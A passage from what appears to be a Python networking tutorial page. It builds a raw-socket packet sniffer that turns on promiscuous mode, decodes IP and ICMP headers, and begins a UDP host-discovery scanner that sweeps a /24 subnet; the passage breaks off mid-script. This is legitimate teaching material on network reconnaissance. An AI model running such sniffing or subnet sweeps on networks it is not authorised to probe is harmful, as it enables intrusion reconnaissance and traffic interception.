<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># if we&#39;re on Windows turn off promiscuous mode</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> os.name </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;nt&quot;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        sniffer.ioctl(socket.</span><span style="color: #AE81FF">SIO_RCVALL</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">RCVALL_OFF</span><span style="color: #F8F8F2">)</span></span></code></pre></div>



<div class="wp-block-jetpack-markdown"><p>It captures and decodes the IP layer of the incoming packets, printing information such as the protocol, source address, and destination address. The script uses the <code>socket</code> and <code>struct</code> modules for low-level network communication and structure unpacking.</p>
<h2>Explanation:</h2>
<ol>
<li>
<p><strong>Define the IP Structure:</strong></p>
<ul>
<li>The <code>IP</code> class is defined as a <code>ctypes</code> structure. It represents the structure of an IP header with various fields such as version, length, time to live (TTL), protocol number, source IP, destination IP, etc.</li>
</ul>
</li>
<li>
<p><strong>Initialize IP Header:</strong></p>
<ul>
<li>The <code>__new__</code> method is used to create a new instance of the <code>IP</code> class by copying the buffer containing the raw data.</li>
<li>The <code>__init__</code> method is then used to initialize some additional attributes like human-readable source and destination IP addresses and the protocol name.</li>
</ul>
</li>
<li>
<p><strong>Create a Raw Socket:</strong></p>
<ul>
<li>The script creates a raw socket using <code>socket.AF_INET</code> for IPv4 and <code>socket.SOCK_RAW</code> to capture raw packets.</li>
</ul>
</li>
<li>
<p><strong>Bind the Socket:</strong></p>
<ul>
<li>The socket is bound to the specified host and port 0. Port 0 allows the operating system to choose an available port.</li>
</ul>
</li>
<li>
<p><strong>Set IP Header Option:</strong></p>
<ul>
<li>The script sets the <code>IP_HDRINCL</code> option using <code>setsockopt</code> to include the IP headers in the captured packet.</li>
</ul>
</li>
<li>
<p><strong>Enable Promiscuous Mode (Windows Only):</strong></p>
<ul>
<li>If the script is running on Windows, it sends an IOCTL command to enable promiscuous mode, allowing the socket to capture all incoming packets.</li>
</ul>
</li>
<li>
<p><strong>Capture and Decode Packets in a Loop:</strong></p>
<ul>
<li>The script enters a loop where it continuously captures packets using <code>recvfrom</code>.</li>
<li>The first 20 bytes of the raw packet are used to create an instance of the <code>IP</code> class, decoding the IP header.</li>
<li>Information from the decoded IP header, such as the protocol, source address, and destination address, is then printed.</li>
</ul>
</li>
<li>
<p><strong>Handle KeyboardInterrupt:</strong></p>
<ul>
<li>The script handles a <code>KeyboardInterrupt</code> (Ctrl+C) to gracefully exit the loop.</li>
<li>If the script is running on Windows, it turns off promiscuous mode before exiting.</li>
</ul>
</li>
</ol>
</div>



<h2 class="wp-block-heading">Decoding ICMP</h2>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(3 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="import socket
import os
import struct

from ctypes import *

# host to listen on
host = &quot;192.168.12.187&quot;


class IP(Structure):
    
    _fields_ = [
        (&quot;ihl&quot;,           c_ubyte, 4),
        (&quot;version&quot;,       c_ubyte, 4),
        (&quot;tos&quot;,           c_ubyte),
        (&quot;len&quot;,           c_ushort),
        (&quot;id&quot;,            c_ushort),
        (&quot;offset&quot;,        c_ushort),
        (&quot;ttl&quot;,           c_ubyte),
        (&quot;protocol_num&quot;,  c_ubyte),
        (&quot;sum&quot;,           c_ushort),
        (&quot;src&quot;,           c_uint32),
        (&quot;dst&quot;,           c_uint32)
    ]

    def __new__(cls, socket_buffer=None):
        return cls.from_buffer_copy(socket_buffer)

    def __init__(self, socket_buffer=None):
        self.socket_buffer = socket_buffer

        # map protocol constants to their names
        self.protocol_map = {1: &quot;ICMP&quot;, 6: &quot;TCP&quot;, 17: &quot;UDP&quot;}
        
        # human readable IP addresses
        self.src_address = socket.inet_ntoa(struct.pack(&quot;@I&quot;, self.src))
        self.dst_address = socket.inet_ntoa(struct.pack(&quot;@I&quot;, self.dst))
    
        # human readable protocol
        try:
            self.protocol = self.protocol_map[self.protocol_num]
        except IndexError:
            self.protocol = str(self.protocol_num)


class ICMP(Structure):
    
    _fields_ = [
        (&quot;type&quot;,         c_ubyte),
        (&quot;code&quot;,         c_ubyte),
        (&quot;checksum&quot;,     c_ushort),
        (&quot;unused&quot;,       c_ushort),
        (&quot;next_hop_mtu&quot;, c_ushort)
        ]
    
    def __new__(cls, socket_buffer):
        return cls.from_buffer_copy(socket_buffer)

    def __init__(self, socket_buffer):
        self.socket_buffer = socket_buffer


# create a raw socket and bind it to the public interface
if os.name == &quot;nt&quot;:
    socket_protocol = socket.IPPROTO_IP 
else:
    socket_protocol = socket.IPPROTO_ICMP
    
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)

sniffer.bind((host, 0))

# we want the IP headers included in the capture
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# if we're on Windows we need to send some ioctl
# to setup promiscuous mode
if os.name == &quot;nt&quot;:
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)


try:
    while True:
        # read in a single packet
        raw_buffer = sniffer.recvfrom(65535)[0]
        
        # create an IP header from the first 20 bytes of the buffer
        ip_header = IP(raw_buffer[:20])
      
        print(&quot;Protocol: %s %s -&gt; %s&quot; % (
            ip_header.protocol,
            ip_header.src_address,
            ip_header.dst_address)
              )

        # if it's ICMP we want it
        if ip_header.protocol == &quot;ICMP&quot;:
            # calculate where our ICMP packet starts
            offset = ip_header.ihl * 4
            buf = raw_buffer[offset:offset + sizeof(ICMP)]
            
            # create our ICMP structure
            icmp_header = ICMP(buf)
            
            print(&quot;ICMP -&gt; Type: %d Code: %d&quot; % (
                icmp_header.type,
                icmp_header.code)
                  )

# handle CTRL-C
except KeyboardInterrupt:
    # if we're on Windows turn off promiscuous mode
    if os.name == &quot;nt&quot;:
        sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> socket</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> os</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> struct</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">from</span><span style="color: #F8F8F2"> ctypes </span><span style="color: #F92672">import</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">*</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># host to listen on</span></span>
<span class="line"><span style="color: #F8F8F2">host </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;192.168.12.187&quot;</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">class</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E; text-decoration: underline">IP</span><span style="color: #F8F8F2">(</span><span style="color: #A6E22E; font-style: italic; text-decoration: underline">Structure</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    </span></span>
<span class="line"><span style="color: #F8F8F2">    _fields_ </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> [</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;ihl&quot;</span><span style="color: #F8F8F2">,           c_ubyte, </span><span style="color: #AE81FF">4</span><span style="color: #F8F8F2">),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;version&quot;</span><span style="color: #F8F8F2">,       c_ubyte, </span><span style="color: #AE81FF">4</span><span style="color: #F8F8F2">),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;tos&quot;</span><span style="color: #F8F8F2">,           c_ubyte),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;len&quot;</span><span style="color: #F8F8F2">,           c_ushort),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;id&quot;</span><span style="color: #F8F8F2">,            c_ushort),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;offset&quot;</span><span style="color: #F8F8F2">,        c_ushort),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;ttl&quot;</span><span style="color: #F8F8F2">,           c_ubyte),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;protocol_num&quot;</span><span style="color: #F8F8F2">,  c_ubyte),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;sum&quot;</span><span style="color: #F8F8F2">,           c_ushort),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;src&quot;</span><span style="color: #F8F8F2">,           c_uint32),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;dst&quot;</span><span style="color: #F8F8F2">,           c_uint32)</span></span>
<span class="line"><span style="color: #F8F8F2">    ]</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">__new__</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">cls</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">socket_buffer</span><span style="color: #F92672">=</span><span style="color: #AE81FF">None</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> </span><span style="color: #FD971F">cls</span><span style="color: #F8F8F2">.from_buffer_copy(socket_buffer)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">__init__</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">self</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">socket_buffer</span><span style="color: #F92672">=</span><span style="color: #AE81FF">None</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.socket_buffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket_buffer</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># map protocol constants to their names</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.protocol_map </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> {</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">: </span><span style="color: #E6DB74">&quot;ICMP&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #AE81FF">6</span><span style="color: #F8F8F2">: </span><span style="color: #E6DB74">&quot;TCP&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #AE81FF">17</span><span style="color: #F8F8F2">: </span><span style="color: #E6DB74">&quot;UDP&quot;</span><span style="color: #F8F8F2">}</span></span>
<span class="line"><span style="color: #F8F8F2">        </span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># human readable IP addresses</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.src_address </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.inet_ntoa(struct.pack(</span><span style="color: #E6DB74">&quot;@I&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.src))</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.dst_address </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.inet_ntoa(struct.pack(</span><span style="color: #E6DB74">&quot;@I&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.dst))</span></span>
<span class="line"><span style="color: #F8F8F2">    </span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># human readable protocol</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.protocol </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.protocol_map[</span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.protocol_num]</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">except</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">IndexError</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.protocol </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">str</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.protocol_num)</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">class</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E; text-decoration: underline">ICMP</span><span style="color: #F8F8F2">(</span><span style="color: #A6E22E; font-style: italic; text-decoration: underline">Structure</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    </span></span>
<span class="line"><span style="color: #F8F8F2">    _fields_ </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> [</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;type&quot;</span><span style="color: #F8F8F2">,         c_ubyte),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;code&quot;</span><span style="color: #F8F8F2">,         c_ubyte),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;checksum&quot;</span><span style="color: #F8F8F2">,     c_ushort),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;unused&quot;</span><span style="color: #F8F8F2">,       c_ushort),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;next_hop_mtu&quot;</span><span style="color: #F8F8F2">, c_ushort)</span></span>
<span class="line"><span style="color: #F8F8F2">        ]</span></span>
<span class="line"><span style="color: #F8F8F2">    </span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">__new__</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">cls</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">socket_buffer</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> </span><span style="color: #FD971F">cls</span><span style="color: #F8F8F2">.from_buffer_copy(socket_buffer)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">__init__</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">self</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">socket_buffer</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.socket_buffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket_buffer</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># create a raw socket and bind it to the public interface</span></span>
<span class="line"><span style="color: #F92672">if</span><span style="color: #F8F8F2"> os.name </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;nt&quot;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    socket_protocol </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.</span><span style="color: #AE81FF">IPPROTO_IP</span><span style="color: #F8F8F2"> </span></span>
<span class="line"><span style="color: #F92672">else</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    socket_protocol </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.</span><span style="color: #AE81FF">IPPROTO_ICMP</span></span>
<span class="line"><span style="color: #F8F8F2">    </span></span>
<span class="line"><span style="color: #F8F8F2">sniffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.socket(socket.</span><span style="color: #AE81FF">AF_INET</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">SOCK_RAW</span><span style="color: #F8F8F2">, socket_protocol)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">sniffer.bind((host, </span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">))</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># we want the IP headers included in the capture</span></span>
<span class="line"><span style="color: #F8F8F2">sniffer.setsockopt(socket.</span><span style="color: #AE81FF">IPPROTO_IP</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">IP_HDRINCL</span><span style="color: #F8F8F2">, </span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># if we&#39;re on Windows we need to send some ioctl</span></span>
<span class="line"><span style="color: #88846F"># to setup promiscuous mode</span></span>
<span class="line"><span style="color: #F92672">if</span><span style="color: #F8F8F2"> os.name </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;nt&quot;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    sniffer.ioctl(socket.</span><span style="color: #AE81FF">SIO_RCVALL</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">RCVALL_ON</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">while</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># read in a single packet</span></span>
<span class="line"><span style="color: #F8F8F2">        raw_buffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> sniffer.recvfrom(</span><span style="color: #AE81FF">65535</span><span style="color: #F8F8F2">)[</span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">]</span></span>
<span class="line"><span style="color: #F8F8F2">        </span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># create an IP header from the first 20 bytes of the buffer</span></span>
<span class="line"><span style="color: #F8F8F2">        ip_header </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> IP(raw_buffer[:</span><span style="color: #AE81FF">20</span><span style="color: #F8F8F2">])</span></span>
<span class="line"><span style="color: #F8F8F2">      </span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;Protocol: </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74"> </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74"> -&gt; </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (</span></span>
<span class="line"><span style="color: #F8F8F2">            ip_header.protocol,</span></span>
<span class="line"><span style="color: #F8F8F2">            ip_header.src_address,</span></span>
<span class="line"><span style="color: #F8F8F2">            ip_header.dst_address)</span></span>
<span class="line"><span style="color: #F8F8F2">              )</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># if it&#39;s ICMP we want it</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> ip_header.protocol </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;ICMP&quot;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># calculate where our ICMP packet starts</span></span>
<span class="line"><span style="color: #F8F8F2">            offset </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> ip_header.ihl </span><span style="color: #F92672">*</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">4</span></span>
<span class="line"><span style="color: #F8F8F2">            buf </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> raw_buffer[offset:offset </span><span style="color: #F92672">+</span><span style="color: #F8F8F2"> sizeof(</span><span style="color: #AE81FF">ICMP</span><span style="color: #F8F8F2">)]</span></span>
<span class="line"><span style="color: #F8F8F2">            </span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># create our ICMP structure</span></span>
<span class="line"><span style="color: #F8F8F2">            icmp_header </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> ICMP(buf)</span></span>
<span class="line"><span style="color: #F8F8F2">            </span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;ICMP -&gt; Type: </span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74"> Code: </span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (</span></span>
<span class="line"><span style="color: #F8F8F2">                icmp_header.type,</span></span>
<span class="line"><span style="color: #F8F8F2">                icmp_header.code)</span></span>
<span class="line"><span style="color: #F8F8F2">                  )</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># handle CTRL-C</span></span>
<span class="line"><span style="color: #F92672">except</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">KeyboardInterrupt</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># if we&#39;re on Windows turn off promiscuous mode</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> os.name </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;nt&quot;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        sniffer.ioctl(socket.</span><span style="color: #AE81FF">SIO_RCVALL</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">RCVALL_OFF</span><span style="color: #F8F8F2">)</span></span></code></pre></div>



<div class="wp-block-jetpack-markdown"><p>This Python code is an extension of the previous packet-sniffing example, adding the ability to decode ICMP (Internet Control Message Protocol) packets in addition to IP headers. The script uses raw sockets to capture network traffic and print information about IP and ICMP packets.</p>
<h2>Explanation:</h2>
<ol>
<li>
<p><strong>Define the ICMP Structure:</strong></p>
<ul>
<li>The <code>ICMP</code> class is defined similarly to the <code>IP</code> class. It represents the structure of an ICMP header, including fields such as type, code, checksum, unused, and next_hop_mtu.</li>
</ul>
</li>
<li>
<p><strong>Initialize ICMP Header:</strong></p>
<ul>
<li>The <code>__new__</code> method creates a new instance of the <code>ICMP</code> class by copying the buffer containing the raw data.</li>
<li>The <code>__init__</code> method initializes the <code>socket_buffer</code> attribute.</li>
</ul>
</li>
<li>
<p><strong>Capture and Decode ICMP Packets:</strong></p>
<ul>
<li>
<p>Inside the packet-sniffing loop, the script checks if the captured packet’s protocol is ICMP:</p>
<pre><code class="language-python">if ip_header.protocol == &quot;ICMP&quot;:
</code></pre>
</li>
<li>
<p>If the protocol is ICMP, the script calculates the offset to the ICMP header and creates an instance of the <code>ICMP</code> class to decode the ICMP header:</p>
<pre><code class="language-python">offset = ip_header.ihl * 4
buf = raw_buffer[offset:offset + sizeof(ICMP)]
icmp_header = ICMP(buf)
</code></pre>
</li>
<li>
<p>Finally, the script prints information about the ICMP packet, including the type and code:</p>
<pre><code class="language-python">print(&quot;ICMP -&gt; Type: %d Code: %d&quot; % (icmp_header.type, icmp_header.code))
</code></pre>
</li>
</ul>
</li>
<li>
<p><strong>Handle CTRL-C:</strong></p>
<ul>
<li>The script uses a <code>try-except</code> block to catch a <code>KeyboardInterrupt</code> (Ctrl+C) and gracefully handles it. Before exiting, it turns off promiscuous mode on Windows if it was enabled.</li>
</ul>
</li>
</ol>
</div>



<h2 class="wp-block-heading">Basic UDP Scanner:</h2>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(3 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="import socket
import os
import struct
import threading
from ipaddress import ip_address, ip_network
from ctypes import *

# host to listen on
host = &quot;192.168.0.187&quot;

# subnet to target
tgt_subnet = &quot;192.168.0.0/24&quot;

# magic we'll check ICMP responses for
tgt_message = &quot;PYTHONRULES!&quot;


def udp_sender(sub_net, magic_message):
    sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    for ip in ip_network(sub_net).hosts():
        sender.sendto(magic_message.encode('utf-8'), (str(ip), 65212))


class IP(Structure):
    _fields_ = [
        (&quot;ihl&quot;, c_ubyte, 4),
        (&quot;version&quot;, c_ubyte, 4),
        (&quot;tos&quot;, c_ubyte),
        (&quot;len&quot;, c_ushort),
        (&quot;id&quot;, c_ushort),
        (&quot;offset&quot;, c_ushort),
        (&quot;ttl&quot;, c_ubyte),
        (&quot;protocol_num&quot;, c_ubyte),
        (&quot;sum&quot;, c_ushort),
        (&quot;src&quot;, c_uint32),
        (&quot;dst&quot;, c_uint32)
    ]

    def __new__(cls, socket_buffer=None):
        return cls.from_buffer_copy(socket_buffer)

    def __init__(self, socket_buffer=None):
        self.socket_buffer = socket_buffer

        # map protocol constants to their names
        self.protocol_map = {1: &quot;ICMP&quot;, 6: &quot;TCP&quot;, 17: &quot;UDP&quot;}

        # human readable IP addresses
        self.src_address = socket.inet_ntoa(struct.pack(&quot;@I&quot;, self.src))
        self.dst_address = socket.inet_ntoa(struct.pack(&quot;@I&quot;, self.dst))

        # human readable protocol
        try:
            self.protocol = self.protocol_map[self.protocol_num]
        except IndexError:
            self.protocol = str(self.protocol_num)


class ICMP(Structure):
    _fields_ = [
        (&quot;type&quot;, c_ubyte),
        (&quot;code&quot;, c_ubyte),
        (&quot;checksum&quot;, c_ushort),
        (&quot;unused&quot;, c_ushort),
        (&quot;next_hop_mtu&quot;, c_ushort)
    ]

    def __new__(cls, socket_buffer):
        return cls.from_buffer_copy(socket_buffer)

    def __init__(self, socket_buffer):
        self.socket_buffer = socket_buffer


# create a raw socket and bind it to the public interface
if os.name == &quot;nt&quot;:
    socket_protocol = socket.IPPROTO_IP
else:
    socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)

sniffer.bind((host, 0))

# we want the IP headers included in the capture
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# if we're on Windows we need to send some ioctl
# to setup promiscuous mode
if os.name == &quot;nt&quot;:
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

# start sending packets
t = threading.Thread(target=udp_sender, args=(tgt_subnet, tgt_message))
t.start()

try:
    while True:

        # read in a single packet
        raw_buffer = sniffer.recvfrom(65535)[0]

        # create an IP header from the first 20 bytes of the buffer
